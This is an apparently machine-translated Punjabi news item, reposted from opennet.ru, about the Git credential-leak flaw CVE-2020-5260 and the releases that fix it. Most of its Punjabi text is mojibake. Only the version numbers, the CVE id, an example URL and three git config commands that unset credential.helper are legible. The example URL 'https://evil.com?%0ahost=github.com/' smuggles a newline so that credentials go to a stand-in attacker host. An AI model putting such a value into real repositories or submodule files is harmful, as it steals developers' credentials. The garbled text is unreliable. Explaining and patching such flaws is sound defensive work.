Git เจ•เฉเจฐเฉˆเจกเฉˆเจ‚เจธเจผเฉ€เจ…เจฒ เจฒเฉ€เจ• เจนเฉ‹เจฃ เจฆเฉ€ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€

เจชเฉเจฐเจ•เจพเจธเจผเจฟเจค เจกเจฟเจธเจŸเฉเจฐเฉ€เจฌเจฟเจŠเจŸเจก เจธเฉ‹เจฐเจธ เจ•เฉฐเจŸเจฐเฉ‹เจฒ เจธเจฟเจธเจŸเจฎ Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 เจ…เจคเฉ‡ 2.17.4, เจตเจฟเฉฑเจš เจธเฉเจงเจพเจฐเจพเจคเจฎเจ• เจฐเฉ€เจฒเฉ€เจœเจผ เจœเจฟเจธ เจจเฉ‚เฉฐ เจ–เจคเจฎ เจ•เจฐ เจฆเจฟเฉฑเจคเจพ เจ—เจฟเจ† เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ (CVE-2020-5260) เจนเฉˆเจ‚เจกเจฒเจฐ เจตเจฟเฉฑเจš "credential.helper", เจœเจฟเจธ เจจเจพเจฒ เจ•เฉเจฐเฉˆเจกเฉˆเจ‚เจธเจผเฉ€เจ…เจฒ เจ—เจฒเจค เจนเฉ‹เจธเจŸ เจจเฉ‚เฉฐ เจญเฉ‡เจœเฉ‡ เจœเจพเจฃ เจฆเจพ เจ•เจพเจฐเจจ เจฌเจฃเจฆเจพ เจนเฉˆ เจœเจฆเฉ‹เจ‚ เจ‡เฉฑเจ• git เจ•เจฒเจพเจ‡เฉฐเจŸ เจ‡เฉฑเจ• เจจเจตเฉ€เจ‚ เจฒเจพเจˆเจจ เจ…เฉฑเจ–เจฐ เจตเจพเจฒเฉ‡ เจตเจฟเจธเจผเฉ‡เจธเจผ เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจซเจพเจฐเจฎเฉˆเจŸ เจ•เฉ€เจคเฉ‡ URL เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจ‡เฉฑเจ• เจฐเจฟเจชเฉ‹เจœเจผเจŸเจฐเฉ€ เจคเฉฑเจ• เจชเจนเฉเฉฐเจš เจ•เจฐเจฆเจพ เจนเฉˆเฅค เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจนเจฎเจฒเจพเจตเจฐ เจฆเฉเจ†เจฐเจพ เจจเจฟเจฏเฉฐเจคเจฐเจฟเจค เจธเจฐเจตเจฐ เจจเฉ‚เฉฐ เจญเฉ‡เจœเจฃ เจฒเจˆ เจ•เจฟเจธเฉ‡ เจนเฉ‹เจฐ เจนเฉ‹เจธเจŸ เจคเฉ‹เจ‚ เจชเฉเจฐเจฎเจพเจฃ เจชเฉฑเจคเจฐเจพเจ‚ เจฆเจพ เจชเฉเจฐเจฌเฉฐเจง เจ•เจฐเจจ เจฒเจˆ เจ•เฉ€เจคเฉ€ เจœเจพ เจธเจ•เจฆเฉ€ เจนเฉˆเฅค

เจœเจฆเฉ‹เจ‚ "https://evil.com?%0ahost=github.com/" เจตเจฐเจ—เฉ‡ URL เจจเฉ‚เฉฐ เจจเจฟเจฐเจงเจพเจฐเจฟเจค เจ•เจฐเจฆเฉ‡ เจนเฉ‹, เจคเจพเจ‚ เจนเฉ‹เจธเจŸ evil.com เจจเจพเจฒ เจ•เจจเฉˆเจ•เจŸ เจ•เจฐเจจ เจตเฉ‡เจฒเฉ‡ เจ•เฉเจฐเฉˆเจกเฉˆเจ‚เจธเจผเฉ€เจ…เจฒ เจนเฉˆเจ‚เจกเจฒเจฐ github.com เจฒเจˆ เจจเจฟเจฐเจงเจพเจฐเจค เจชเฉเจฐเจฎเจพเจฃเจฟเจ•เจคเจพ เจฎเจพเจชเจฆเฉฐเจกเจพเจ‚ เจจเฉ‚เฉฐ เจชเจพเจธ เจ•เจฐเฉ‡เจ—เจพเฅค เจธเจฎเฉฑเจธเจฟเจ† เจ‰เจฆเฉ‹เจ‚ เจตเจพเจชเจฐเจฆเฉ€ เจนเฉˆ เจœเจฆเฉ‹เจ‚ "เจ—เจฟเจŸ เจ•เจฒเฉ‹เจจ" เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ เจ‰เจช-เจฎเฉŒเจกเจฟเจŠเจฒเจพเจ‚ เจฒเจˆ เจชเฉเจฐเฉ‹เจธเฉˆเจธเจฟเฉฐเจ— URL (เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, "git เจธเจฌเจฎเฉ‹เจกเจฟเจŠเจฒ เจ…เฉฑเจชเจกเฉ‡เจŸ" เจฐเจฟเจชเฉ‹เจœเจผเจŸเจฐเฉ€ เจคเฉ‹เจ‚ .gitmodules เจซเจพเจˆเจฒ เจตเจฟเฉฑเจš เจฆเจฟเฉฑเจคเฉ‡ URL เจจเฉ‚เฉฐ เจ†เจชเจฃเฉ‡ เจ†เจช เจชเฉเจฐเฉ‹เจธเฉˆเจธ เจ•เจฐเฉ‡เจ—เจพ) เจธเจฎเฉ‡เจค เจ“เจชเจฐเฉ‡เจธเจผเจจ เจ•เจฐเจฆเฉ‡ เจนเจจเฅค เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจ‰เจนเจจเจพเจ‚ เจธเจฅเจฟเจคเฉ€เจ†เจ‚ เจตเจฟเฉฑเจš เจธเจญ เจคเฉ‹เจ‚ เจ–เจคเจฐเจจเจพเจ• เจนเฉเฉฐเจฆเฉ€ เจนเฉˆ เจœเจฟเฉฑเจฅเฉ‡ เจ‡เฉฑเจ• เจกเจฟเจตเฉˆเจฒเจชเจฐ URL เจจเฉ‚เฉฐ เจฆเฉ‡เจ–เฉ‡ เจฌเจฟเจจเจพเจ‚ เจ‡เฉฑเจ• เจฐเจฟเจชเฉ‹เจœเจผเจŸเจฐเฉ€ เจจเฉ‚เฉฐ เจ•เจฒเฉ‹เจจ เจ•เจฐเจฆเจพ เจนเฉˆ, เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจธเจฌเจฎเฉ‹เจกเจฟเจŠเจฒเจพเจ‚ เจจเจพเจฒ เจ•เฉฐเจฎ เจ•เจฐเจฆเฉ‡ เจธเจฎเฉ‡เจ‚, เจœเจพเจ‚ เจธเจฟเจธเจŸเจฎเจพเจ‚ เจตเจฟเฉฑเจš เจœเฉ‹ เจ†เจŸเฉ‹เจฎเฉˆเจŸเจฟเจ• เจ•เจพเจฐเจตเจพเจˆเจ†เจ‚ เจ•เจฐเจฆเฉ‡ เจนเจจ, เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจชเฉˆเจ•เฉ‡เจœ เจฌเจฟเจฒเจก เจธเจ•เฉเจฐเจฟเจชเจŸเจพเจ‚ เจตเจฟเฉฑเจšเฅค

เจจเจตเฉ‡เจ‚ เจธเฉฐเจธเจ•เจฐเจฃเจพเจ‚ เจตเจฟเฉฑเจš เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจฐเฉ‹เจ•เจฃ เจฒเจˆ เจจเฉ‚เฉฐ เจฎเจจเจพเจนเฉ€ เจนเฉˆ เจ•เฉเจฐเฉˆเจกเฉˆเจ‚เจธเจผเฉ€เจ…เจฒ เจเจ•เจธเจšเฉ‡เจ‚เจœ เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจฆเฉเจ†เจฐเจพ เจชเฉเจฐเจธเจพเจฐเจฟเจค เจ•เฉ€เจคเฉ‡ เจ—เจ เจ•เจฟเจธเฉ‡ เจตเฉ€ เจฎเฉเฉฑเจฒ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจจเจตเฉ€เจ‚ เจฒเจพเจˆเจจ เจ…เฉฑเจ–เจฐ เจจเฉ‚เฉฐ เจชเจพเจธ เจ•เจฐเจจเจพเฅค เจกเจฟเจธเจŸเจฐเฉ€เจฌเจฟเจŠเจธเจผเจจเจพเจ‚ เจฒเจˆ, เจคเฉเจธเฉ€เจ‚ เจชเฉฐเจจเจฟเจ†เจ‚ 'เจคเฉ‡ เจชเฉˆเจ•เฉ‡เจœ เจ…เฉฑเจชเจกเฉ‡เจŸ เจฆเฉ‡ เจฐเฉ€เจฒเฉ€เจœเจผ เจจเฉ‚เฉฐ เจŸเจฐเฉˆเจ• เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹ เจกเฉ‡เจฌเฉ€เจ…เจจ, เจ‰เจฌเจคเฉ‚เฉฐ, RHEL, เจธเฉ‚เจธเฉ‡/เจ“เจชเจจเจธเฉ‚เจธเฉ‡, เจซเฉ‡เจกเฉ‹เจฐเจพ, เจ•เจคเจฐ, เจซเฉเจฐเฉ€เจธเจฌเฉˆเจก.

เจธเจฎเฉฑเจธเจฟเจ† เจจเฉ‚เฉฐ เจฐเฉ‹เจ•เจฃ เจฒเจˆ เจ‡เฉฑเจ• เจนเฉฑเจฒ เจฆเฉ‡ เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจธเจฟเจซเจพเจฐเจธเจผ เจ•เฉ€เจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ เจœเจจเจคเจ• เจฐเจฟเจชเฉ‹เจœเจผเจŸเจฐเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจเจ•เจธเฉˆเจธ เจ•เจฐเจจ เจตเฉ‡เจฒเฉ‡ credential.helper เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจจเจพ เจ•เจฐเฉ‹ เจ…เจคเฉ‡ "--recurse-submodules" เจฎเฉ‹เจก เจตเจฟเฉฑเจš เจ…เจฃ-เจšเฉˆเฉฑเจ• เจ•เฉ€เจคเฉ‡ เจฐเจฟเจชเฉ‹เจœเจผเจŸเจฐเฉ€เจ†เจ‚ เจฆเฉ‡ เจจเจพเจฒ "git clone" เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจจเจพ เจ•เจฐเฉ‹เฅค credential.helper เจนเฉˆเจ‚เจกเจฒเจฐ เจจเฉ‚เฉฐ เจชเฉ‚เจฐเฉ€ เจคเจฐเฉเจนเจพเจ‚ เจ…เจฏเฉ‹เจ— เจ•เจฐเจจ เจฒเจˆ, เจœเฉ‹ เจ•เจฐเจฆเจพ เจนเฉˆ เจธเฉฐเจญเจพเจฒ เจ…เจคเฉ‡ เจชเจพเจธเจตเจฐเจก เจชเฉเจฐเจพเจชเจค เจ•เจฐ เจฐเจฟเจนเจพ เจนเฉˆ เจ•เฉˆเจธเจผ, เจธเฉเจฐเฉฑเจ–เจฟเจ…เจค เจญเฉฐเจกเจพเจฐ เจœเจพเจ‚ เจชเจพเจธเจตเจฐเจก เจตเจพเจฒเฉ€ เจ‡เฉฑเจ• เจซเจพเจˆเจฒ, เจคเฉเจธเฉ€เจ‚ เจ•เจฎเจพเจ‚เจกเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

เจธเจฐเฉ‹เจค: opennet.ru

เจ‡เฉฑเจ• เจŸเจฟเฉฑเจชเจฃเฉ€ เจœเฉ‹เฉœเฉ‹